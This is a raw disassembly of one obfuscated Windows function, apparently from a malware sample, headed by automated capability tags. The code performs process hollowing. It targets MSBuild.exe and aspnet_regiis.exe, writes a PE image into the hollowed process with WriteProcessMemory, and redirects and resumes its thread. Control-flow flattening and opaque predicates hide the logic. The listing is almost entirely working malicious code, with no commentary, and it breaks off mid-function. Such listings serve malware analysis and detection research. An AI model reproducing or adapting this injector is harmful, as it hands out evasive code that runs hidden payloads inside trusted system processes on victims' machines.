Function at 0x10002370
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x170
mov eax, dword [0x10066400]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x178], 0xb52cac6f
mov eax, dword [ebp - 0x178]
mov dword [ebp - 0x17c], eax
sub eax, 0x80a7b4d6
je 0x10003cf0
jmp 0x100023ac
mov eax, dword [ebp - 0x17c]
sub eax, 0x82f37a65
je 0x10002fc3
jmp 0x100023c2
mov eax, dword [ebp - 0x17c]
sub eax, 0x83e1f10b
je 0x100036ef
jmp 0x100023d8
mov eax, dword [ebp - 0x17c]
sub eax, 0x8823455f
je 0x100040ec
jmp 0x100023ee
mov eax, dword [ebp - 0x17c]
sub eax, 0x8b854ddd
je 0x10003dbe
jmp 0x10002404
mov eax, dword [ebp - 0x17c]
sub eax, 0x8e26f957
je 0x10002f7a
jmp 0x1000241a
mov eax, dword [ebp - 0x17c]
sub eax, 0x90c7dff3
je 0x10003687
jmp 0x10002430
mov eax, dword [ebp - 0x17c]
sub eax, 0x913ad38e
je 0x10003b35
jmp 0x10002446
mov eax, dword [ebp - 0x17c]
sub eax, 0x9156cfb8
je 0x10004602
jmp 0x1000245c
mov eax, dword [ebp - 0x17c]
sub eax, 0x91f04af4
je 0x100042f7
jmp 0x10002472
mov eax, dword [ebp - 0x17c]
sub eax, 0x9225f1b5
je 0x100033d0
jmp 0x10002488
mov eax, dword [ebp - 0x17c]
sub eax, 0x9a0349c6
je 0x10004a03
jmp 0x1000249e
mov eax, dword [ebp - 0x17c]
sub eax, 0x9c0da6bd
je 0x10003290
jmp 0x100024b4
mov eax, dword [ebp - 0x17c]
sub eax, 0x9d688b49
je 0x10004bc4
jmp 0x100024ca
mov eax, dword [ebp - 0x17c]
sub eax, 0x9f1cf17e
je 0x100033a0
jmp 0x100024e0
mov eax, dword [ebp - 0x17c]
sub eax, 0xa121e00e
je 0x100045ce
jmp 0x100024f6
mov eax, dword [ebp - 0x17c]
sub eax, 0xa1b0851a
je 0x10004c6e
jmp 0x1000250c
mov eax, dword [ebp - 0x17c]
sub eax, 0xa2841389
je 0x1000411b
jmp 0x10002522
mov eax, dword [ebp - 0x17c]
sub eax, 0xa2da9eee
je 0x10003bba
jmp 0x10002538
mov eax, dword [ebp - 0x17c]
sub eax, 0xa4f1e2f8
je 0x10003581
jmp 0x1000254e
mov eax, dword [ebp - 0x17c]
sub eax, 0xa7ce2feb
je 0x100038ee
jmp 0x10002564
mov eax, dword [ebp - 0x17c]
sub eax, 0xa9d962e5
je 0x10002f56
jmp 0x1000257a
mov eax, dword [ebp - 0x17c]
sub eax, 0xac2c5693
je 0x100045a5
jmp 0x10002590
mov eax, dword [ebp - 0x17c]
sub eax, 0xae5663ba
je 0x10004917
jmp 0x100025a6
mov eax, dword [ebp - 0x17c]
sub eax, 0xae924844
je 0x10004bb5
jmp 0x100025bc
mov eax, dword [ebp - 0x17c]
sub eax, 0xb2404f66
je 0x10004aeb
jmp 0x100025d2
mov eax, dword [ebp - 0x17c]
sub eax, 0xb52cac6f
je 0x10002dd5
jmp 0x100025e8
mov eax, dword [ebp - 0x17c]
sub eax, 0xb7df9acc
je 0x100037e4
jmp 0x100025fe
mov eax, dword [ebp - 0x17c]
sub eax, 0xb85c74c2
je 0x1000420b
jmp 0x10002614
mov eax, dword [ebp - 0x17c]
sub eax, 0xb9fe8dae
je 0x10004935
jmp 0x1000262a
mov eax, dword [ebp - 0x17c]
sub eax, 0xbceef2ec
je 0x1000390f
jmp 0x10002640
mov eax, dword [ebp - 0x17c]
sub eax, 0xbf88616b
je 0x10004587
jmp 0x10002656
mov eax, dword [ebp - 0x17c]
sub eax, 0xc1a01dc4
je 0x100046ea
jmp 0x1000266c
mov eax, dword [ebp - 0x17c]
sub eax, 0xc2036800
je 0x1000315a
jmp 0x10002682
mov eax, dword [ebp - 0x17c]
sub eax, 0xc5ce6e60
je 0x10003958
jmp 0x10002698
mov eax, dword [ebp - 0x17c]
sub eax, 0xc64048b6
je 0x100033af
jmp 0x100026ae
mov eax, dword [ebp - 0x17c]
sub eax, 0xc9c8bb5a
je 0x10004986
jmp 0x100026c4
mov eax, dword [ebp - 0x17c]
sub eax, 0xcd761137
je 0x100033eb
jmp 0x100026da
mov eax, dword [ebp - 0x17c]
sub eax, 0xcddd57b4
je 0x1000320b
jmp 0x100026f0
mov eax, dword [ebp - 0x17c]
sub eax, 0xd30caa70
je 0x100039df
jmp 0x10002706
mov eax, dword [ebp - 0x17c]
sub eax, 0xd65a9ee1
je 0x1000422c
jmp 0x1000271c
mov eax, dword [ebp - 0x17c]
sub eax, 0xd976e99d
je 0x10004c7d
jmp 0x10002732
mov eax, dword [ebp - 0x17c]
sub eax, 0xdd420964
je 0x10003ca4
jmp 0x10002748
mov eax, dword [ebp - 0x17c]
sub eax, 0xe101ae4c
je 0x100040a3
jmp 0x1000275e
mov eax, dword [ebp - 0x17c]
sub eax, 0xe1227d2a
je 0x10002f47
jmp 0x10002774
mov eax, dword [ebp - 0x17c]
sub eax, 0xe131db21
je 0x10004b7f
jmp 0x1000278a
mov eax, dword [ebp - 0x17c]
sub eax, 0xe22c513b
je 0x100039d0
jmp 0x100027a0
mov eax, dword [ebp - 0x17c]
sub eax, 0xe407a4d3
je 0x10004926
jmp 0x100027b6
mov eax, dword [ebp - 0x17c]
sub eax, 0xe547b688
je 0x10004536
jmp 0x100027cc
mov eax, dword [ebp - 0x17c]
sub eax, 0xeaa8227a
je 0x10004a15
jmp 0x100027e2
mov eax, dword [ebp - 0x17c]
sub eax, 0xeb112efa
je 0x1000322c
jmp 0x100027f8
mov eax, dword [ebp - 0x17c]
sub eax, 0xecefc520
je 0x10003de8
jmp 0x1000280e
mov eax, dword [ebp - 0x17c]
sub eax, 0xedf502dc
je 0x10004ab8
jmp 0x10002824
mov eax, dword [ebp - 0x17c]
sub eax, 0xeff5a4b3
je 0x1000433c
jmp 0x1000283a
mov eax, dword [ebp - 0x17c]
sub eax, 0xf03b8fd9
je 0x10004b6a
jmp 0x10002850
mov eax, dword [ebp - 0x17c]
sub eax, 0xf2ec9e55
je 0x10003e39
jmp 0x10002866
mov eax, dword [ebp - 0x17c]
sub eax, 0xf338671b
je 0x10004644
jmp 0x1000287c
mov eax, dword [ebp - 0x17c]
sub eax, 0xf4f2b30e
je 0x10004b94
jmp 0x10002892
mov eax, dword [ebp - 0x17c]
sub eax, 0xf3d8c2
je 0x10003ee3
jmp 0x100028a8
mov eax, dword [ebp - 0x17c]
sub eax, 0x245868f
je 0x1000427d
jmp 0x100028be
mov eax, dword [ebp - 0x17c]
sub eax, 0x9f43841
je 0x10004635
jmp 0x100028d4
mov eax, dword [ebp - 0x17c]
sub eax, 0xe7064e4
je 0x10003ad6
jmp 0x100028ea
mov eax, dword [ebp - 0x17c]
sub eax, 0x11fccc59
je 0x100047bd
jmp 0x10002900
mov eax, dword [ebp - 0x17c]
sub eax, 0x15891a2b
je 0x10002e4b
jmp 0x10002916
mov eax, dword [ebp - 0x17c]
sub eax, 0x16d4e792
je 0x10004596
mov ecx, dword [0x10067738]
mov eax, dword [0x10067734]
mov edx, ecx
add edx, 0x46ae36ac
sub edx, 1
sub edx, 0x46ae36ac
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xeaa8227a
mov ecx, 0x15891a2b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x10004c87
push eax
mov eax, esp
mov dword [ebp - 0x130], eax
push eax
mov eax, esp
mov dword [ebp - 0x12c], eax
push eax
mov eax, esp
mov dword [ebp - 0x128], eax
push eax
mov eax, esp
mov dword [ebp - 0x124], eax
push eax
mov eax, esp
mov dword [ebp - 0x120], eax
push eax
mov eax, esp
mov dword [ebp - 0x11c], eax
push eax
mov eax, esp
mov dword [ebp - 0x118], eax
push eax
mov eax, esp
mov dword [ebp - 0x114], eax
push eax
mov eax, esp
mov dword [ebp - 0x110], eax
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x4d400
call section..text
add esp, 8
lea eax, section..data
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x134], eax
mov eax, dword [ebp - 0x134]
movzx eax, word [eax]
mov dword [ebp - 0x10c], eax
mov ecx, dword [0x10067738]
mov eax, dword [0x10067734]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xeaa8227a
mov ecx, 0xe1227d2a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x10004c87
mov dword [ebp - 0x178], 0xa9d962e5
jmp 0x10004c87
mov edx, dword [ebp - 0x10c]
mov eax, 0x9a0349c6
mov ecx, 0x8e26f957
cmp edx, 0x5a4d
cmove eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x10004c87
mov eax, dword [0x10067738]
mov ecx, dword [0x10067734]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2e66f977
mov ecx, 0x82f37a65
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x10004c87
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x108], eax
mov eax, dword [ebp - 0x134]
mov dword [ebp - 0x104], eax
mov ecx, dword [0x10067738]
mov eax, dword [0x10067734]
mov edx, ecx
sub edx, 0x43b2570b
sub edx, 1
add edx, 0x43b2570b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x2e66f977
mov ecx, 0x5330850d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x10004c87
mov eax, dword [0x10067738]
mov ecx, dword [0x10067734]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x66782680
mov ecx, 0x53ccfd2c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x10004c87
mov dl, byte [ebp - 0xf9]
mov eax, 0xb9fe8dae
mov ecx, 0xeb112efa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x10004c87
lea eax, [ebp - 0x24]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.10005ee0
add esp, 0xc
lea eax, [ebp - 0x68]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.10005ee0
add esp, 0xc
mov eax, dword [ebp - 0x13c]
add eax, 0x18
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0x178], 0x9c0da6bd
jmp 0x10004c87
mov ecx, dword [0x10067738]
mov eax, dword [0x10067734]
mov edx, ecx
sub edx, 0xb88dcc
sub edx, 1
add edx, 0xb88dcc
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xedf502dc
mov ecx, 0x3edfaba4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x10004c87
mov dword [ebp - 0x178], 0xc64048b6
jmp 0x10004c87
mov dl, byte [ebp - 0x13d]
mov eax, 0x9225f1b5
mov ecx, 0x7ccc6ae7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x10004c87
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [ebp - 0x144], eax
mov dword [ebp - 0x178], 0xcd761137
jmp 0x10004c87
mov dword [ebp - 0x178], 0x7ccc6ae7
jmp 0x10004c87
mov dword [ebp - 0x178], 0x5b9113e5
jmp 0x10004c87
mov eax, dword [ebp - 0x13c]
add eax, 0x18
add eax, 0x38
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0x178], 0x4ce7f812
jmp 0x10004c87
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax + 0x54]
mov dword [ebp - 0xe4], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xe0], eax
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0xdc], eax
mov dword [ebp - 0x178], 0x34774430
jmp 0x10004c87
mov eax, dword [ebp - 0x128]
mov eax, dword [eax]
mov dword [ebp - 0xd8], eax
mov eax, dword [ebp - 0x13c]
add eax, 4
add eax, 2
mov dword [ebp - 0xd4], eax
mov dword [ebp - 0x178], 0x761a7295
jmp 0x10004c87
mov dl, byte [ebp - 0xcd]
mov eax, 0x2943de8b
mov ecx, 0xbceef2ec
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x10004c87
mov eax, dword [0x10067738]
mov ecx, dword [0x10067734]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf03b8fd9
mov ecx, 0xc5ce6e60
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x10004c87
mov eax, dword [ebp - 0x170]
mov ecx, dword [ebp - 0x128]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0xcc], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xc8], eax
mov eax, dword [ebp - 0x170]
mov dword [ebp - 0xc4], eax
mov eax, dword [0x10067738]
mov ecx, dword [0x10067734]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf03b8fd9
mov ecx, 0xe22c513b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x10004c87
mov dword [ebp - 0x178], 0xd30caa70
jmp 0x10004c87
mov eax, dword [ebp - 0x128]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xc4]
imul ecx, ecx, 0x28
add eax, ecx
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0xc8]
add ecx, 0x19f4bba2
add ecx, eax
sub ecx, 0x19f4bba2
mov edx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x170]
mov esi, dword [ebp - 0x128]
imul esi, dword [esi], 0x28
add eax, esi
mov esi, dword [eax + 0xc]
xor eax, eax
sub eax, esi
sub edx, eax
mov esi, dword [ebp - 0x24]
mov eax, dword [ebp - 0xcc]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x12c]
mov edx, dword [eax]
mov esi, dword [ebp - 0x170]
mov eax, dword [ebp - 0x128]
imul eax, dword [eax], 0x28
add esi, eax
mov eax, 0x80a7b4d6
mov ecx, 0x27bbe0f9
cmp edx, dword [esi + 0xc]
cmovae eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x10004c87
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax]
mov dword [ebp - 0xc0], eax
mov eax, dword [0x10067738]
mov ecx, dword [0x10067734]
mov edx, eax
sub edx, 0xc648f032
sub edx, 1
add edx, 0xc648f032
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe131db21
mov ecx, 0x913ad38e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x10004c87
mov dword [ebp - 0x178], 0x1f86fd6a
jmp 0x10004c87
mov eax, dword [ebp - 0x170]
mov ecx, dword [ebp - 0x128]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0x170]
mov edx, dword [ebp - 0x128]
imul edx, dword [edx], 0x28
add eax, edx
mov eax, dword [eax + 0x10]
add ecx, 0x8acca9dd
add ecx, eax
sub ecx, 0x8acca9dd
mov eax, dword [ebp - 0xc0]
cmp eax, ecx
setbe al
and al, 1
mov byte [ebp - 0xb9], al
mov eax, dword [0x10067738]
mov ecx, dword [0x10067734]
mov edx, eax
add edx, 0xf6e2ce25
sub edx, 1
sub edx, 0xf6e2ce25
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf4f2b30e
mov ecx, 0x3757f1d9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x10004c87
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0xb8]
add ecx, eax
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax]
mov edx, dword [ebp - 0x170]
mov esi, dword [ebp - 0x128]
imul esi, dword [esi], 0x28
add edx, esi
mov esi, dword [edx + 0xc]
xor edx, edx
sub edx, esi
add eax, edx
add ecx, eax
mov eax, dword [ebp - 0x130]
mov dword [eax], ecx
mov dword [ebp - 0x178], 0x80a7b4d6
jmp 0x10004c87
mov eax, dword [0x10067738]
mov ecx, dword [0x10067734]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xae924844
mov ecx, 0x334d4a7d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x10004c87
mov eax, dword [ebp - 0x128]
mov eax, dword [eax]
sub eax, 0x842db1a5
add eax, 1
add eax, 0x842db1a5
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x178], 0xecefc520
jmp 0x10004c87
mov eax, dword [0x10067738]
mov ecx, dword [0x10067734]
mov edx, eax
add edx, 0xec89d534
sub edx, 1
sub edx, 0xec89d534
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9d688b49
mov ecx, 0xf2ec9e55
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x10004c87
mov eax, dword [ebp - 0x128]
mov ecx, dword [ebp - 0xb0]
mov dword [eax], ecx
mov eax, dword [0x10067738]
mov ecx, dword [0x10067734]
mov edx, eax
add edx, 0xc135e0d0
sub edx, 1
sub edx, 0xc135e0d0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9d688b49
mov ecx, 0x43878e0b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x10004c87
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0xa8], eax
mov eax, dword [ebp - 0x13c]
add eax, 0x18
add eax, 0x1c
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0x178], 0x29e9c957
jmp 0x10004c87
mov eax, dword [0x10067738]
mov ecx, dword [0x10067734]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x31f4f4e4
mov ecx, 0x8823455f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x10004c87
mov dword [ebp - 0x178], 0x7cf0cdc0
jmp 0x10004c87
mov edx, dword [ebp - 0x9c]
mov eax, 0x9f43841
mov ecx, 0x3acf3429
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x10004c87
mov dl, byte [ebp - 0x8d]
mov eax, 0x71fad484
mov ecx, 0xd65a9ee1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x10004c87
mov eax, dword [0x10067738]
mov ecx, dword [0x10067734]
mov edx, eax
sub edx, 0x316d65d3
sub edx, 1
add edx, 0x316d65d3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x32459a57
mov ecx, 0x245868f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x10004c87
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x118]
mov ecx, dword [ecx]
movzx eax, word [eax + ecx*2]
mov dword [ebp - 0x8c], eax
mov eax, dword [0x10067738]
mov ecx, dword [0x10067734]
mov edx, eax
add edx, 0x483bd106
sub edx, 1
sub edx, 0x483bd106
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x32459a57
mov ecx, 0x6024dba1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x10004c87
mov edx, dword [ebp - 0x8c]
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xf000
mov eax, 0xffffffff
xor eax, 0xbb8ad58d
or edx, ecx
or eax, 0xbb8ad58d
xor edx, 0xffffffff
and edx, eax
mov eax, 0x16d4e792
mov ecx, 0xeff5a4b3
cmp edx, 3
cmove eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x10004c87
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x130]
mov ecx, dword [ecx]
mov edx, dword [ecx]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x118]
mov ecx, dword [ecx]
movzx eax, word [eax + ecx*2]
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xfff
mov ecx, 0xffffffff
xor ecx, 0x21378821
or eax, edx
or ecx, 0x21378821
xor eax, 0xffffffff
and eax, ecx
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x178], 0x4c05a715
jmp 0x10004c87
mov eax, dword [ebp - 0x110]
mov ecx, dword [ebp - 0x80]
mov dword [eax], ecx
mov eax, dword [ebp - 0x114]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x110]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x178], 0xbf88616b
jmp 0x10004c87
mov dword [ebp - 0x178], 0x16d4e792
jmp 0x10004c87
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 1
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x178], 0xa121e00e
jmp 0x10004c87
mov eax, dword [ebp - 0x118]
mov ecx, dword [ebp - 0x7c]
mov dword [eax], ecx
mov dword [ebp - 0x178], 0x52928144
jmp 0x10004c87
mov eax, dword [ebp - 0x130]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0x78]
add ecx, 0xa43b6e03
add ecx, eax
sub ecx, 0xa43b6e03
mov eax, dword [ebp - 0x130]
mov dword [eax], ecx
mov dword [ebp - 0x178], 0x7cf0cdc0
jmp 0x10004c87
mov dword [ebp - 0x178], 0xf338671b
jmp 0x10004c87
mov eax, dword [ebp - 0x13c]
add eax, 0x18
add eax, 0x1c
mov ecx, dword [ebp - 0x138]
mov ecx, dword [ecx + 0xa4]
add ecx, 0x2f8d2816
add ecx, 8
sub ecx, 0x2f8d2816
mov edx, dword [ebp - 0x24]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov ecx, dword [ebp - 0x148]
sub ecx, 0xa1886610
add ecx, 8
add ecx, 0xa1886610
mov edx, dword [ebp - 0x24]
lea eax, [ebp - 0x6c]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x178], 0xc1a01dc4
jmp 0x10004c87
mov ecx, dword [ebp - 0x74]
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax + 0x28]
add ecx, 0x73c4c511
add ecx, eax
sub ecx, 0x73c4c511
mov eax, dword [ebp - 0x138]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0x20]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [ebp - 0x178], 0x1bb5e51c
jmp 0x10004c87
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x24]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x10067738]
mov ecx, dword [0x10067734]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x69b90d00
mov ecx, 0x1b32baff
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x10004c87
mov dword [ebp - 0x178], 0xe407a4d3
jmp 0x10004c87
mov dword [ebp - 0x178], 0xb9fe8dae
jmp 0x10004c87
mov eax, dword [0x10067738]
mov ecx, dword [0x10067734]
mov edx, eax
add edx, 0xcf9566e2
sub edx, 1
sub edx, 0xcf9566e2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd976e99d
mov ecx, 0xc9c8bb5a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x10004c87
mov ecx, dword [0x10067738]
mov eax, dword [0x10067734]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd976e99d
mov ecx, 0x64d56348
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x10004c87
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100052e0
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x4d400
call section..text
add esp, 8
lea eax, section..data
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x134], eax
mov dword [ebp - 0x178], 0x15891a2b
jmp 0x10004c87
mov eax, dword [ebp - 0xf8]
cmp dword [eax + 0xd0], 0
setne al
and al, 1
mov byte [ebp - 0x13d], al
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [ebp - 0x144], eax
mov dword [ebp - 0x178], 0x3edfaba4
jmp 0x10004c87
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
